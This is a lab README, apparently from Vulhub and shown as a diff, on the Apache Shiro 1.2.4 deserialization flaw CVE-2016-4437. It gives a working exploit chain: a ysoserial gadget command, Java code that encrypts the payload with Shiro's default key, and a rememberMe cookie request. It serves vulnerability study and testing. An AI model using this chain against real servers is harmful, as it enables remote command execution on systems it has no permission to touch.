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+# Apache Shiro 1.2.4 Deserialization Remote Code Execution (CVE-2016-4437)
+
+[中文版本(Chinese version)](README.zh-cn.md)
+
+Apache Shiro is a powerful and easy-to-use Java security framework that performs authentication, authorization, cryptography, and session management.
+
+In Apache Shiro 1.2.4 and earlier versions, encrypted user information is serialized and stored in a cookie named "remember-me". Attackers can forge user cookies using Shiro's default key, triggering a Java deserialization vulnerability that allows arbitrary command execution on the target machine.
+
+## Environment Setup
+
+Execute the following command to start a Web application using Apache Shiro 1.2.4:
+
+```
+docker compose up -d
+```
+
+After the server starts, visit `http://your-ip:8080` and you can log in using the credentials `admin:vulhub`.
+
+## Vulnerability Reproduction
+
+Use ysoserial to generate a CommonsBeanutils1 Gadget:
+
+```
+java -jar ysoserial-master-30099844c6-1.jar CommonsBeanutils1 "touch /tmp/success" > poc.ser
+```
+
+Encrypt the payload using Shiro's built-in default key:
+
+```java
+package org.vulhub.shirodemo;
+
+import org.apache.shiro.crypto.AesCipherService;
+import org.apache.shiro.codec.CodecSupport;
+import org.apache.shiro.util.ByteSource;
+import org.apache.shiro.codec.Base64;
+import org.apache.shiro.io.DefaultSerializer;
+
+import java.nio.file.FileSystems;
+import java.nio.file.Files;
+import java.nio.file.Paths;
+
+public class TestRemember {
+    public static void main(String[] args) throws Exception {
+        byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("/path", "to", "poc.ser"));
+
+        AesCipherService aes = new AesCipherService();
+        byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));
+
+        ByteSource ciphertext = aes.encrypt(payloads, key);
+        System.out.printf(ciphertext.toString());
+    }
+}
+```
+
+Then send the following request with the payload in the rememberMe cookie:
+
+```
+GET / HTTP/1.1
+Host: your-ip:8080
+Cookie: rememberMe=<encrypted_payload>
+
+
+```
+
+You will see the `touch /tmp/success` command has been executed:
+
+![](1.png)